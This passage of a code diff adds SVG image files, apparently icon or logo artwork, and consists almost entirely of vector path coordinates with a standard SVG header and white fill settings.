2 -16 -5 -55 -17 -87 -26 -117 -35 -273 -144 -357 -251 -103 -129 -178 -344
|
||||||
|
-165 -469 13 -122 15 -124 119 -69 157 84 297 85 454 5 61 -31 181 -153 216
|
||||||
|
-218 23 -43 137 -159 176 -178 19 -10 38 -23 42 -29 11 -17 9 -85 -3 -107 -9
|
||||||
|
-18 -17 -19 -52 -14 -99 17 -189 93 -318 271 -109 150 -231 202 -365 157 -217
|
||||||
|
-72 -347 -376 -290 -676 19 -97 65 -211 117 -290 65 -97 189 -209 286 -258
|
||||||
|
191 -94 445 -90 646 13 99 50 249 189 288 267 8 14 23 40 36 56 35 49 65 136
|
||||||
|
60 175 -2 19 -21 63 -41 97 -83 141 -149 372 -145 503 4 103 28 187 97 330 26
|
||||||
|
54 109 150 99 113 -49 -165 -58 -242 -46 -395 17 -225 92 -425 235 -628 116
|
||||||
|
-166 343 -329 521 -375 31 -8 60 -18 64 -22 4 -5 9 -35 10 -68 l3 -60 -55 1
|
||||||
|
c-58 1 -184 39 -255 77 -23 12 -65 35 -95 51 -55 29 -130 87 -184 142 -32 33
|
||||||
|
-84 69 -89 63 -1 -2 -10 -24 -20 -48 -30 -77 -162 -252 -231 -307 -21 -16 -49
|
||||||
|
-39 -64 -52 -14 -12 -55 -37 -91 -55 -36 -17 -67 -35 -70 -38 -9 -12 -185 -58
|
||||||
|
-227 -61 -35 -1 -43 -6 -43 -21 0 -33 69 -152 129 -223 101 -121 185 -179 322
|
||||||
|
-224 109 -36 270 -49 384 -32 215 34 416 154 543 324 l47 63 8 -95 c16 -197
|
||||||
|
-26 -473 -106 -700 -119 -340 -208 -514 -377 -737 -81 -107 -310 -341 -375
|
||||||
|
-382 -22 -14 -56 -38 -75 -52 -19 -15 -71 -46 -115 -69 -87 -47 -155 -92 -224
|
||||||
|
-149 -25 -20 -62 -48 -83 -62 -20 -14 -64 -48 -95 -76 -32 -28 -79 -68 -106
|
||||||
|
-89 -26 -22 -103 -85 -172 -141 l-124 -103 -64 83 c-34 45 -94 129 -131 187
|
||||||
|
-38 58 -82 124 -97 147 -16 23 -29 43 -29 46 0 2 -22 41 -50 87 -27 45 -63
|
||||||
|
110 -80 144 -17 33 -35 68 -40 76 -25 40 -166 336 -200 420 -104 257 -162 417
|
||||||
|
-204 565 -93 326 -137 552 -182 935 -21 184 -30 714 -15 907 13 154 44 415 62
|
||||||
|
518 47 255 85 428 136 605 24 87 93 303 102 325 9 21 51 134 81 220 18 49 100
|
||||||
|
238 120 272 5 10 35 72 66 138 31 66 64 131 74 145 9 14 34 59 56 100 21 41
|
||||||
|
47 84 56 94 10 11 18 23 18 28 0 4 13 27 29 50 16 24 76 115 135 203 128 193
|
||||||
|
154 228 231 324 33 41 71 88 84 105 26 33 177 203 221 247 165 172 265 269
|
||||||
|
366 358 142 124 271 231 279 231 3 0 35 23 71 51 189 146 624 415 834 514 30
|
||||||
|
14 62 30 70 34 8 5 26 13 40 19 14 6 50 22 80 35 30 14 79 33 108 43 28 10 52
|
||||||
|
22 52 26 0 5 6 8 13 8 7 0 79 25 159 55 193 72 558 176 753 215 33 7 80 16
|
||||||
|
105 21 248 50 735 99 985 99 156 0 372 -14 593 -37 160 -16 162 -16 185 3 36
|
||||||
|
33 117 80 202 119 142 65 134 58 84 72 -86 25 -237 50 -479 78 -217 26 -822
|
||||||
|
29 -1075 5z m2229 -298 c8 -13 -58 -190 -100 -269 -103 -190 -227 -335 -378
|
||||||
|
-442 -148 -104 -225 -144 -367 -189 -84 -27 -246 -59 -254 -50 -3 3 122 111
|
||||||
|
265 228 41 34 86 72 100 83 14 12 52 44 85 72 150 125 268 245 242 245 -53 -1
|
||||||
|
-390 -224 -637 -423 -8 -7 -41 -34 -73 -61 -32 -27 -59 -47 -62 -45 -7 8 45
|
||||||
|
142 82 209 141 255 394 456 718 568 62 21 209 55 305 71 30 5 58 9 62 10 4 0
|
||||||
|
9 -3 12 -7z m-1408 -308 c18 -124 -36 -432 -106 -597 -80 -186 -213 -355 -395
|
||||||
|
-498 -65 -51 -175 -116 -175 -103 0 3 19 39 43 81 23 42 59 108 80 147 21 39
|
||||||
|
53 96 72 126 92 153 225 453 205 465 -8 5 -67 -61 -110 -125 -13 -19 -27 -37
|
||||||
|
-31 -40 -12 -9 -125 -184 -216 -335 -50 -82 -107 -175 -128 -205 l-37 -55 5
|
||||||
|
135 c10 242 89 446 253 651 74 93 135 151 244 232 96 72 254 165 282 167 4 0
|
||||||
|
10 -21 14 -46z m1684 -407 c0 -25 -156 -228 -196 -253 -26 -18 -22 -19 -120
|
||||||
|
51 -39 28 -101 64 -138 79 -37 16 -64 32 -59 37 13 13 221 66 308 78 125 18
|
||||||
|
205 21 205 8z m-3046 -241 c9 -37 26 -250 26 -335 0 -96 -33 -287 -66 -381
|
||||||
|
-56 -161 -121 -277 -227 -405 -65 -78 -194 -201 -202 -193 -5 5 47 159 98 294
|
||||||
|
67 176 139 401 150 469 3 17 8 47 12 68 6 30 5 36 -6 32 -8 -3 -19 -15 -25
|
||||||
|
-28 -6 -12 -38 -76 -72 -142 -67 -133 -121 -254 -159 -360 -14 -38 -33 -88
|
||||||
|
-43 -110 -17 -40 -63 -157 -73 -185 -2 -8 -8 3 -11 25 -4 22 -11 51 -15 65 -4
|
||||||
|
14 -9 84 -10 156 -3 173 18 288 76 424 38 88 97 198 124 232 16 20 29 39 29
|
||||||
|
43 0 16 171 192 290 298 71 62 95 70 104 33z m2168 -271 c146 -37 253 -74 259
|
||||||
|
-90 7 -21 -164 -151 -341 -259 -94 -58 -292 -126 -425 -146 -85 -13 -323 -9
|
||||||
|
-431 8 -33 5 -81 18 -106 30 -25 11 -60 23 -77 27 -42 9 -39 22 7 28 35 4 228
|
||||||
|
45 317 67 22 5 114 26 205 45 189 42 271 63 284 76 6 5 20 9 32 9 13 0 26 5
|
||||||
|
30 11 5 8 -48 10 -192 6 -155 -3 -232 -10 -349 -31 -175 -31 -352 -64 -380
|
||||||
|
-72 -20 -5 -16 -1 45 50 97 78 260 172 370 211 232 84 501 94 752 30z m-1819
|
||||||
|
-95 c63 -24 82 -51 82 -119 0 -54 -30 -102 -75 -123 -20 -8 -31 -22 -36 -43
|
||||||
|
-8 -40 -85 -205 -96 -205 -4 0 -8 -6 -8 -13 0 -16 -124 -138 -159 -157 l-24
|
||||||
|
-12 24 32 c25 33 26 35 73 115 16 28 32 52 35 55 7 6 32 87 52 166 11 48 11
|
||||||
|
53 -15 96 -30 52 -36 130 -10 166 11 16 79 58 101 62 1 0 26 -9 56 -20z
|
||||||
|
m-1294 -405 c39 -172 52 -451 30 -612 -32 -238 -134 -442 -308 -623 -42 -44
|
||||||
|
-80 -80 -83 -80 -3 0 0 21 8 48 17 55 68 243 96 352 10 41 25 100 33 130 22
|
||||||
|
84 55 268 55 306 0 60 -25 41 -56 -41 -10 -27 -20 -52 -23 -55 -8 -7 -28 -60
|
||||||
|
-68 -185 -19 -60 -39 -119 -44 -130 -5 -11 -23 -67 -40 -125 -16 -58 -41 -136
|
||||||
|
-55 -173 -13 -38 -24 -77 -24 -88 0 -45 -19 -13 -36 64 -14 63 -18 124 -19
|
||||||
|
262 0 155 3 194 24 280 13 55 27 105 31 110 4 6 13 28 20 50 40 122 156 291
|
||||||
|
310 448 63 64 120 117 126 117 6 0 16 -25 23 -55z m3735 -93 c38 -81 73 -156
|
||||||
|
77 -167 22 -54 90 -249 109 -315 12 -41 26 -86 30 -100 18 -53 59 -240 76
|
||||||
|
-345 22 -129 23 -337 5 -468 -11 -70 -11 -105 -1 -170 25 -170 54 -250 187
|
||||||
|
-527 88 -183 162 -332 172 -350 9 -14 31 -62 116 -245 18 -38 41 -88 51 -110
|
||||||
|
11 -23 19 -63 19 -93 0 -48 -3 -57 -30 -79 -58 -48 -107 -63 -245 -74 -123
|
||||||
|
-10 -178 -22 -285 -63 -68 -26 -94 -21 -111 19 -8 19 -17 63 -21 98 -7 72 -14
|
||||||
|
83 -53 92 -59 13 -91 -19 -110 -111 -9 -41 -7 -61 9 -117 15 -50 17 -69 8 -72
|
||||||
|
-7 -2 -104 -11 -217 -20 -113 -8 -252 -20 -310 -25 -58 -6 -184 -17 -280 -25
|
||||||
|
-96 -9 -218 -20 -270 -25 -52 -5 -183 -16 -290 -25 -107 -8 -240 -20 -295 -25
|
||||||
|
-55 -5 -203 -17 -330 -25 -126 -9 -273 -20 -325 -25 -116 -12 -325 -29 -440
|
||||||
|
-35 -47 -3 -104 -8 -127 -10 -24 -3 -43 -3 -43 -1 0 1 7 18 17 36 9 19 17 59
|
||||||
|
17 94 1 60 1 61 -35 79 -50 24 -78 11 -111 -50 -61 -112 -138 -143 -271 -108
|
||||||
|
-112 29 -209 113 -373 320 -21 28 -44 55 -51 60 -30 25 -121 176 -133 221 -7
|
||||||
|
27 -17 53 -21 58 -14 15 3 70 30 99 53 59 91 70 267 78 88 4 169 6 180 4 10
|
||||||
|
-2 24 -4 29 -4 7 -1 11 -42 11 -113 -1 -108 1 -115 30 -168 72 -127 117 -172
|
||||||
|
180 -178 25 -3 37 3 58 28 14 17 26 38 26 46 0 22 -29 74 -61 112 -53 61 -73
|
||||||
|
111 -73 184 1 98 10 107 140 142 60 17 116 33 124 37 8 4 41 18 74 30 66 25
|
||||||
|
222 116 279 163 51 41 217 208 217 218 0 4 15 29 34 55 19 27 50 84 71 128 47
|
||||||
|
102 46 100 97 230 46 119 90 191 122 201 11 4 24 10 30 15 6 5 36 26 66 46 70
|
||||||
|
46 183 138 237 192 48 49 103 129 151 221 39 73 52 86 101 95 19 4 79 24 133
|
||||||
|
45 150 58 279 164 351 287 60 104 72 122 100 157 41 51 73 68 247 130 85 31
|
||||||
|
164 60 175 65 11 6 40 18 65 29 98 41 216 146 277 244 20 32 39 58 42 57 3 0
|
||||||
|
37 -66 75 -147z m-1804 -137 c145 -24 186 -36 413 -119 53 -20 74 -36 45 -36
|
||||||
|
-7 0 -26 -12 -43 -26 -85 -74 -224 -153 -410 -235 -214 -93 -572 -104 -810
|
||||||
|
-24 -89 29 -165 64 -165 75 0 4 21 10 48 13 131 15 394 49 447 57 33 5 74 12
|
||||||
|
90 14 137 21 276 50 301 64 17 10 16 11 -11 19 -58 16 -480 6 -674 -16 -234
|
||||||
|
-27 -234 -27 -196 -1 161 109 170 114 290 165 17 7 57 20 90 29 194 53 352 59
|
||||||
|
585 21z m-2842 -412 c12 -32 38 -120 57 -196 31 -121 35 -155 36 -275 2 -172
|
||||||
|
-6 -236 -48 -377 -34 -116 -129 -310 -174 -358 -11 -12 -27 -33 -34 -47 -7
|
||||||
|
-14 -32 -43 -56 -65 -38 -36 -41 -38 -35 -15 8 29 12 51 61 325 36 201 49 284
|
||||||
|
59 385 18 191 5 216 -44 85 -10 -25 -35 -115 -100 -355 -25 -93 -71 -303 -82
|
||||||
|
-373 -6 -42 -15 -74 -20 -69 -11 11 -57 165 -70 232 -37 201 -8 484 62 612 6
|
||||||
|
10 10 26 10 35 0 10 7 29 14 43 8 14 23 43 34 65 17 37 87 146 119 185 6 8 29
|
||||||
|
38 50 66 83 110 118 153 128 154 6 0 21 -26 33 -57z m1645 23 c58 -25 77 -51
|
||||||
|
77 -106 0 -27 -5 -61 -12 -75 -14 -31 -75 -65 -115 -65 -31 0 -87 31 -112 61
|
||||||
|
-15 18 -19 19 -96 5 -100 -19 -123 -26 -214 -65 -40 -18 -74 -31 -76 -29 -5 5
|
||||||
|
137 108 186 136 24 13 75 32 113 42 57 15 76 26 100 55 19 22 45 40 66 45 49
|
||||||
|
11 47 11 83 -4z m242 -401 c142 -24 366 -88 365 -104 -1 -3 -14 -15 -30 -26
|
||||||
|
-16 -11 -55 -38 -87 -60 -32 -22 -59 -43 -61 -47 -2 -5 -10 -8 -18 -8 -8 0
|
||||||
|
-14 -3 -14 -7 0 -13 -94 -69 -250 -150 -70 -36 -195 -75 -300 -93 -85 -15
|
||||||
|
-287 -16 -381 -1 -79 13 -309 80 -309 91 0 3 62 17 138 30 269 45 298 50 367
|
||||||
|
64 80 16 310 68 373 85 180 49 -248 46 -553 -3 -55 -9 -125 -21 -155 -26 -30
|
||||||
|
-5 -82 -12 -115 -16 l-59 -6 59 47 c196 152 350 218 585 249 67 9 356 -3 445
|
||||||
|
-19z m-1519 -421 c33 -34 38 -51 34 -104 -6 -76 -107 -134 -173 -99 -53 28
|
||||||
|
-71 58 -71 116 0 51 3 58 37 89 32 29 44 34 88 34 46 0 55 -4 85 -36z m586
|
||||||
|
-313 c93 -16 370 -93 388 -108 8 -8 -81 -80 -203 -165 -91 -64 -265 -156 -354
|
||||||
|
-187 -254 -89 -492 -91 -773 -6 -72 22 -78 27 -49 37 30 12 347 80 437 95 18
|
||||||
|
3 35 9 38 14 3 5 16 9 29 9 23 0 335 87 344 96 26 26 -144 29 -319 5 -261 -35
|
||||||
|
-315 -45 -458 -77 -62 -15 -115 -24 -118 -21 -7 7 157 137 174 137 6 0 12 4
|
||||||
|
12 9 0 5 8 11 18 14 9 3 33 15 52 26 215 124 505 169 782 122z m4732 -1815
|
||||||
|
c18 -7 43 -28 56 -46 22 -31 23 -36 16 -184 -3 -83 -11 -205 -16 -271 -11
|
||||||
|
-140 -25 -361 -41 -635 -6 -107 -17 -255 -24 -328 -12 -122 -16 -138 -47 -188
|
||||||
|
-45 -75 -358 -391 -376 -380 -5 3 2 76 14 163 12 87 25 183 29 213 8 68 15
|
||||||
|
111 54 380 17 118 56 393 87 610 31 217 61 423 66 458 5 34 17 88 26 120 16
|
||||||
|
51 22 59 62 80 52 26 51 26 94 8z m-4214 -619 c121 -40 217 -67 600 -169 63
|
||||||
|
-16 158 -38 210 -48 52 -10 142 -29 200 -43 58 -13 141 -32 185 -40 44 -9 112
|
||||||
|
-23 150 -31 119 -25 789 -121 1025 -146 278 -31 334 -36 435 -45 59 -5 517
|
||||||
|
-35 536 -35 27 0 7 -145 -29 -217 -31 -59 -107 -139 -165 -172 -106 -60 -231
|
||||||
|
-78 -442 -62 -186 15 -399 49 -560 92 -22 6 -56 14 -75 18 -183 42 -500 143
|
||||||
|
-567 180 -10 6 -38 17 -63 25 -43 14 -98 37 -200 83 -25 11 -52 23 -60 27 -8
|
||||||
|
3 -22 10 -30 16 -8 5 -42 21 -74 35 -55 24 -122 65 -235 144 -50 35 -89 39
|
||||||
|
-120 14 -23 -20 -30 -68 -14 -98 6 -11 33 -47 60 -81 26 -33 59 -76 73 -94 59
|
||||||
|
-80 183 -223 281 -325 58 -60 136 -144 174 -185 37 -41 141 -146 229 -234 89
|
||||||
|
-87 168 -169 177 -183 14 -21 14 -33 4 -96 -40 -235 -67 -351 -130 -562 -42
|
||||||
|
-139 -83 -287 -122 -435 -32 -121 -36 -152 -41 -297 -2 -90 -1 -183 3 -209 12
|
||||||
|
-84 80 -120 139 -73 26 20 26 21 27 162 1 78 4 166 7 196 l7 54 86 -114 c118
|
||||||
|
-156 117 -154 207 -329 84 -163 136 -286 183 -435 30 -97 53 -220 44 -236 -4
|
||||||
|
-5 -57 -9 -119 -9 -100 0 -131 5 -287 44 -168 43 -280 77 -384 117 -269 102
|
||||||
|
-405 157 -465 188 -19 10 -46 22 -60 26 -14 4 -52 20 -85 35 -33 15 -116 53
|
||||||
|
-185 84 -69 32 -145 68 -170 80 -25 13 -56 27 -69 31 -35 11 -355 170 -496
|
||||||
|
247 -66 36 -130 68 -142 72 -31 10 -71 61 -79 101 -13 70 -123 163 -219 186
|
||||||
|
-27 6 -84 15 -125 19 -75 7 -75 7 -135 66 -68 66 -229 204 -239 204 -3 0 -32
|
||||||
|
20 -63 44 -123 93 -263 166 -466 245 -56 22 -110 42 -121 45 -16 5 -10 12 30
|
||||||
|
38 60 40 299 278 375 373 162 206 277 403 355 610 19 50 37 97 41 105 4 8 23
|
||||||
|
74 44 145 41 144 40 145 58 -20 27 -257 -5 -440 -113 -655 -68 -135 -70 -150
|
||||||
|
-18 -150 20 0 53 5 72 10 19 6 67 17 105 25 151 32 423 129 515 185 180 109
|
||||||
|
337 326 392 541 28 114 22 366 -12 474 -38 121 -110 271 -192 403 -32 51 -58
|
||||||
|
95 -58 96 0 7 67 -12 200 -57z m4707 -725 c90 -34 134 -100 134 -203 1 -57
|
||||||
|
-12 -110 -76 -314 -19 -60 -41 -139 -49 -175 -24 -108 -85 -311 -113 -373 -47
|
||||||
|
-105 -123 -143 -203 -102 -36 19 -38 41 -6 86 30 42 147 244 164 283 22 49 42
|
||||||
|
164 42 236 0 76 -27 173 -65 235 -57 94 -68 124 -61 173 7 52 43 113 81 138
|
||||||
|
21 14 64 28 97 33 4 1 29 -7 55 -17z m473 -295 c58 -16 65 -21 101 -69 26 -37
|
||||||
|
29 -49 29 -115 0 -45 -6 -85 -14 -101 -20 -37 -49 -105 -78 -182 -76 -198
|
||||||
|
-144 -378 -180 -480 -49 -138 -57 -151 -116 -190 -64 -42 -110 -41 -159 4 -34
|
||||||
|
31 -37 39 -41 97 -3 58 5 89 76 314 44 138 83 266 86 285 4 19 33 111 64 204
|
||||||
|
67 200 94 237 177 244 6 1 30 -4 55 -11z m-780 -142 c31 -62 33 -68 28 -152
|
||||||
|
-9 -140 -43 -208 -217 -435 -101 -131 -131 -217 -131 -384 0 -96 18 -121 155
|
||||||
|
-212 174 -115 258 -207 325 -356 52 -114 68 -178 90 -355 12 -100 26 -121 82
|
||||||
|
-121 28 0 46 7 63 25 22 21 25 33 25 96 0 152 -80 419 -163 547 -79 120 -110
|
||||||
|
149 -337 316 -30 23 -58 45 -62 51 -9 12 -9 91 1 124 6 22 7 22 21 7 28 -34
|
||||||
|
104 -64 182 -71 l77 -7 15 -52 c49 -166 221 -254 395 -202 l45 13 52 -53 c67
|
||||||
|
-66 128 -89 225 -82 82 6 139 36 198 105 37 44 145 248 201 381 12 28 26 52
|
||||||
|
31 52 5 0 6 -44 3 -97 -24 -477 -92 -840 -182 -979 -36 -54 -341 -372 -457
|
||||||
|
-475 -193 -172 -511 -420 -652 -511 -62 -40 -190 -119 -231 -143 -83 -49 -144
|
||||||
|
-82 -247 -134 -141 -72 -137 -75 -105 75 60 283 63 307 64 464 0 181 -8 221
|
||||||
|
-89 410 -67 159 -196 543 -230 686 -36 152 -36 246 3 394 28 106 51 176 148
|
||||||
|
457 l36 102 96 92 c179 172 407 404 446 457 46 60 49 59 96 -33z m1241 -231
|
||||||
|
c28 -17 48 -41 65 -77 21 -47 24 -65 24 -189 0 -145 -3 -154 -44 -123 -11 8
|
||||||
|
-36 15 -56 15 -48 0 -83 -37 -110 -115 -28 -80 -157 -339 -187 -375 -33 -39
|
||||||
|
-85 -56 -124 -40 -31 13 -59 55 -59 87 0 37 56 205 135 408 45 116 88 228 95
|
||||||
|
250 20 66 70 146 104 166 45 27 107 25 157 -7z m-7376 -1523 c194 -33 349 -79
|
||||||
|
485 -142 135 -64 174 -93 234 -177 57 -81 91 -118 128 -136 48 -24 93 -105
|
||||||
|
208 -371 81 -186 280 -752 280 -795 0 -19 -4 -18 -87 11 -194 69 -443 190
|
||||||
|
-788 383 -211 119 -563 377 -831 607 -189 164 -590 572 -578 590 5 8 159 45
|
||||||
|
249 59 33 5 164 7 290 5 200 -3 254 -8 410 -34z m1533 -540 c24 -14 51 -30 61
|
||||||
|
-36 83 -48 369 -244 481 -329 36 -27 81 -62 100 -76 85 -65 407 -301 497 -365
|
||||||
|
24 -17 58 -41 77 -55 201 -149 590 -407 723 -480 62 -34 115 -65 117 -69 7
|
||||||
|
-10 -221 -21 -443 -21 -159 0 -497 19 -611 35 -117 16 -103 5 -181 133 -240
|
||||||
|
390 -562 845 -861 1220 -43 53 -78 100 -78 105 0 5 17 -1 38 -14 20 -12 56
|
||||||
|
-34 80 -48z m-338 -11 c39 -39 116 -128 172 -197 57 -70 131 -161 165 -202 71
|
||||||
|
-87 330 -436 390 -526 82 -122 203 -317 229 -368 l15 -28 -38 6 c-79 14 -401
|
||||||
|
97 -491 128 -107 36 -99 26 -139 177 -51 196 -204 634 -288 825 -7 17 -27 64
|
||||||
|
-43 105 -17 41 -38 92 -46 113 -10 23 -12 37 -6 37 6 0 42 -32 80 -70z"/>
|
||||||
|
<path d="M11505 13063 c-162 -12 -401 -74 -511 -131 -22 -11 -84 -42 -139 -69
|
||||||
|
-55 -26 -102 -50 -105 -54 -3 -3 -23 -13 -45 -24 -40 -18 -143 -91 -157 -110
|
||||||
|
-4 -5 -8 -28 -8 -51 0 -32 5 -43 23 -53 55 -29 87 -18 270 88 49 28 92 51 97
|
||||||
|
51 4 0 49 20 99 45 50 25 97 45 104 45 7 0 17 4 23 8 13 13 170 59 238 71 75
|
||||||
|
14 267 14 337 1 30 -6 96 -30 147 -55 139 -67 202 -58 202 28 0 46 -27 76
|
||||||
|
-112 121 -129 68 -303 102 -463 89z"/>
|
||||||
|
<path d="M11535 12619 c-80 -19 -173 -53 -313 -116 -226 -102 -350 -182 -336
|
||||||
|
-217 7 -17 212 -115 329 -156 110 -39 251 -69 327 -70 80 0 102 21 127 125 11
|
||||||
|
44 24 120 30 170 9 86 11 91 45 120 52 44 50 116 -4 145 -23 12 -150 12 -205
|
||||||
|
-1z"/>
|
||||||
|
</g>
|
||||||
|
</svg>
|
||||||
|
After Width: | Height: | Size: 23 KiB |
@@ -0,0 +1,320 @@
|
|||||||
|
<?xml version="1.0" standalone="no"?>
|
||||||
|
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 20010904//EN"
|
||||||
|
"http://www.w3.org/TR/2001/REC-SVG-20010904/DTD/svg10.dtd">
|
||||||
|
<svg version="1.0" xmlns="http://www.w3.org/2000/svg"
|
||||||
|
width="2048.000000pt" height="2048.000000pt" viewBox="0 0 2048.000000 2048.000000"
|
||||||
|
preserveAspectRatio="xMidYMid meet">
|
||||||
|
|
||||||
|
<g transform="translate(0.000000,2048.000000) scale(0.100000,-0.100000)"
|
||||||
|
fill="#FFFFFF" stroke="none">
|
||||||
|
<path d="M9945 17875 c-16 -2 -122 -9 -235 -15 -715 -39 -1408 -185 -2135
|
||||||
|
-450 -133 -49 -262 -97 -286 -108 -24 -11 -90 -41 -146 -66 -56 -25 -105 -46
|
||||||
|
-109 -46 -7 0 -321 -151 -354 -170 -8 -5 -78 -43 -155 -86 -452 -249 -925
|
||||||
|
-585 -1372 -975 -368 -321 -858 -865 -1113 -1236 -68 -99 -229 -338 -247 -368
|
||||||
|
-6 -11 -52 -85 -101 -165 -71 -116 -184 -315 -233 -410 -19 -37 -65 -128 -80
|
||||||
|
-160 -18 -36 -64 -134 -119 -255 -39 -88 -143 -345 -163 -405 -8 -25 -20 -56
|
||||||
|
-25 -70 -6 -14 -28 -74 -50 -135 -38 -105 -59 -172 -117 -370 -14 -49 -30
|
||||||
|
-101 -35 -115 -13 -35 -59 -212 -75 -290 -7 -36 -32 -153 -54 -260 -66 -316
|
||||||
|
-104 -599 -131 -985 -11 -149 -16 -857 -7 -873 3 -4 8 -65 11 -137 4 -71 9
|
||||||
|
-141 11 -155 3 -14 9 -81 15 -150 25 -288 120 -813 192 -1065 11 -38 26 -95
|
||||||
|
35 -125 8 -30 19 -63 24 -72 5 -10 9 -25 9 -34 0 -22 115 -380 157 -489 92
|
||||||
|
-236 126 -321 152 -378 16 -34 43 -96 61 -137 85 -198 294 -591 418 -790 125
|
||||||
|
-201 148 -236 244 -375 408 -587 752 -974 1289 -1452 540 -481 1201 -911 1874
|
||||||
|
-1221 383 -176 908 -367 1241 -451 418 -105 770 -170 1079 -200 61 -6 155 -15
|
||||||
|
210 -20 261 -25 602 -34 871 -22 588 25 915 68 1419 186 306 72 383 93 625
|
||||||
|
174 392 132 617 222 960 384 337 159 881 482 1139 675 42 32 94 70 116 84 39
|
||||||
|
27 310 242 435 347 213 177 550 507 765 750 266 299 570 708 800 1076 330 526
|
||||||
|
621 1169 805 1780 23 77 53 174 66 215 31 101 61 233 115 500 11 58 27 134 34
|
||||||
|
170 28 131 65 427 85 675 6 72 13 153 16 180 11 91 7 807 -5 955 -37 457 -70
|
||||||
|
693 -147 1055 -15 66 -32 149 -39 185 -23 112 -60 253 -103 390 -11 36 -36
|
||||||
|
117 -55 180 -41 138 -109 333 -118 340 -4 3 -14 28 -22 55 -17 59 -79 217
|
||||||
|
-113 293 -13 29 -24 55 -24 57 0 4 -29 68 -107 235 -76 162 -88 185 -95 188
|
||||||
|
-5 2 -8 9 -8 15 0 7 -6 23 -13 37 -88 166 -135 252 -180 327 -104 171 -190
|
||||||
|
309 -221 353 -17 25 -38 57 -46 72 -50 91 -359 503 -454 605 -21 23 -46 53
|
||||||
|
-54 65 -65 96 -522 570 -727 754 -416 374 -890 711 -1390 989 -22 12 -67 38
|
||||||
|
-100 56 -72 41 -361 181 -500 242 -243 108 -617 246 -850 314 -313 91 -352
|
||||||
|
101 -550 144 -496 107 -705 138 -1145 170 -142 10 -806 21 -865 14z m610 -380
|
||||||
|
c248 -9 644 -50 830 -85 28 -5 113 -21 190 -35 313 -58 691 -153 925 -234 145
|
||||||
|
-50 333 -116 385 -135 271 -99 784 -349 1069 -522 53 -32 114 -68 134 -79 49
|
||||||
|
-28 336 -223 420 -286 359 -269 572 -451 841 -716 197 -193 413 -433 571 -634
|
||||||
|
94 -119 180 -235 180 -243 0 -3 22 -35 50 -71 27 -36 71 -98 96 -138 26 -40
|
||||||
|
69 -104 95 -144 27 -40 49 -75 49 -77 0 -3 29 -52 64 -109 63 -102 77 -127
|
||||||
|
163 -284 41 -75 233 -461 233 -468 0 -2 13 -32 29 -67 69 -152 81 -181 81
|
||||||
|
-194 0 -8 5 -14 10 -14 6 0 10 -7 10 -15 0 -8 11 -43 24 -77 112 -287 237
|
||||||
|
-694 311 -1013 53 -228 135 -745 155 -980 6 -71 15 -168 20 -215 14 -138 5
|
||||||
|
-881 -14 -1056 -20 -188 -41 -344 -67 -494 -28 -156 -37 -211 -48 -272 -32
|
||||||
|
-178 -65 -310 -157 -628 -65 -225 -199 -596 -273 -756 -28 -61 -51 -114 -51
|
||||||
|
-118 0 -12 -239 -490 -297 -594 -68 -120 -244 -415 -253 -422 -3 -3 -46 -63
|
||||||
|
-94 -134 -99 -144 -121 -175 -244 -334 -376 -490 -778 -895 -1327 -1338 -187
|
||||||
|
-151 -637 -454 -830 -559 -38 -21 -106 -59 -150 -85 -232 -136 -700 -346
|
||||||
|
-1067 -479 -501 -181 -964 -292 -1518 -365 -272 -36 -402 -45 -714 -53 -377
|
||||||
|
-8 -674 9 -1111 67 -138 18 -559 98 -687 130 -388 98 -778 229 -1106 369 -78
|
||||||
|
34 -144 61 -146 61 -3 0 -89 41 -193 91 -172 84 -328 167 -538 287 -204 117
|
||||||
|
-623 406 -830 573 -199 160 -250 204 -415 355 -371 341 -641 640 -946 1049
|
||||||
|
-29 39 -62 82 -73 96 -88 113 -327 485 -424 659 -86 155 -238 454 -285 560
|
||||||
|
-143 323 -298 732 -355 940 -25 88 -109 412 -117 450 -5 19 -12 55 -18 80 -5
|
||||||
|
25 -19 95 -31 155 -11 61 -25 133 -30 160 -68 352 -101 737 -101 1180 0 447
|
||||||
|
23 726 96 1155 19 113 40 232 45 265 15 91 179 730 193 753 4 6 20 53 36 104
|
||||||
|
41 132 149 426 185 503 31 66 65 144 65 148 0 18 241 510 252 515 5 2 8 8 8
|
||||||
|
14 0 5 32 63 70 129 39 66 70 123 70 126 0 3 10 20 23 37 13 17 36 54 52 81
|
||||||
|
49 83 57 95 149 235 49 74 109 161 133 192 24 31 43 59 43 63 0 17 214 283
|
||||||
|
365 455 60 69 125 143 145 165 192 220 769 739 987 887 28 19 71 51 95 70 38
|
||||||
|
31 235 165 358 244 250 160 746 421 995 523 55 23 125 52 155 65 97 42 164 69
|
||||||
|
195 77 17 4 62 20 100 34 239 91 664 211 950 270 353 71 779 128 1085 145 353
|
||||||
|
19 353 19 725 5z"/>
|
||||||
|
<path d="M9725 16270 c-267 -24 -464 -54 -675 -101 -779 -173 -1408 -444
|
||||||
|
-2036 -877 -156 -108 -186 -130 -323 -240 -269 -215 -617 -556 -817 -802 -16
|
||||||
|
-19 -32 -36 -36 -38 -5 -2 -8 -10 -8 -17 0 -8 -6 -18 -13 -22 -7 -4 -44 -48
|
||||||
|
-81 -98 -38 -49 -72 -92 -76 -95 -7 -5 -105 -151 -232 -345 -36 -55 -89 -143
|
||||||
|
-118 -195 -30 -52 -56 -97 -59 -100 -18 -16 -202 -406 -295 -625 -61 -142
|
||||||
|
-180 -506 -220 -670 -30 -123 -53 -222 -59 -255 -2 -14 -14 -70 -25 -125 -79
|
||||||
|
-382 -108 -759 -98 -1245 3 -168 13 -363 21 -435 14 -126 42 -323 51 -368 2
|
||||||
|
-12 11 -56 19 -97 14 -75 20 -100 76 -330 30 -124 71 -267 89 -305 5 -11 20
|
||||||
|
-56 34 -100 33 -106 60 -178 146 -380 133 -312 297 -618 485 -905 87 -132 256
|
||||||
|
-365 280 -385 7 -5 39 -44 71 -85 208 -265 649 -702 894 -886 36 -27 72 -55
|
||||||
|
80 -62 66 -59 523 -373 568 -389 9 -4 35 -18 57 -32 110 -69 484 -260 570
|
||||||
|
-292 28 -9 91 -35 140 -57 111 -49 253 -99 410 -147 66 -20 134 -41 150 -46
|
||||||
|
40 -14 210 -58 260 -69 597 -124 779 -145 1280 -145 396 0 548 10 805 51 490
|
||||||
|
78 880 182 1273 341 62 25 130 52 152 60 62 23 427 205 555 277 290 163 641
|
||||||
|
413 916 652 412 358 776 768 1063 1197 147 220 369 618 453 812 84 196 150
|
||||||
|
363 188 480 23 72 47 134 51 139 5 6 9 19 9 30 0 11 11 54 25 96 30 92 81 300
|
||||||
|
106 435 10 55 25 136 34 180 21 109 42 273 56 435 14 155 18 695 6 880 -24
|
||||||
|
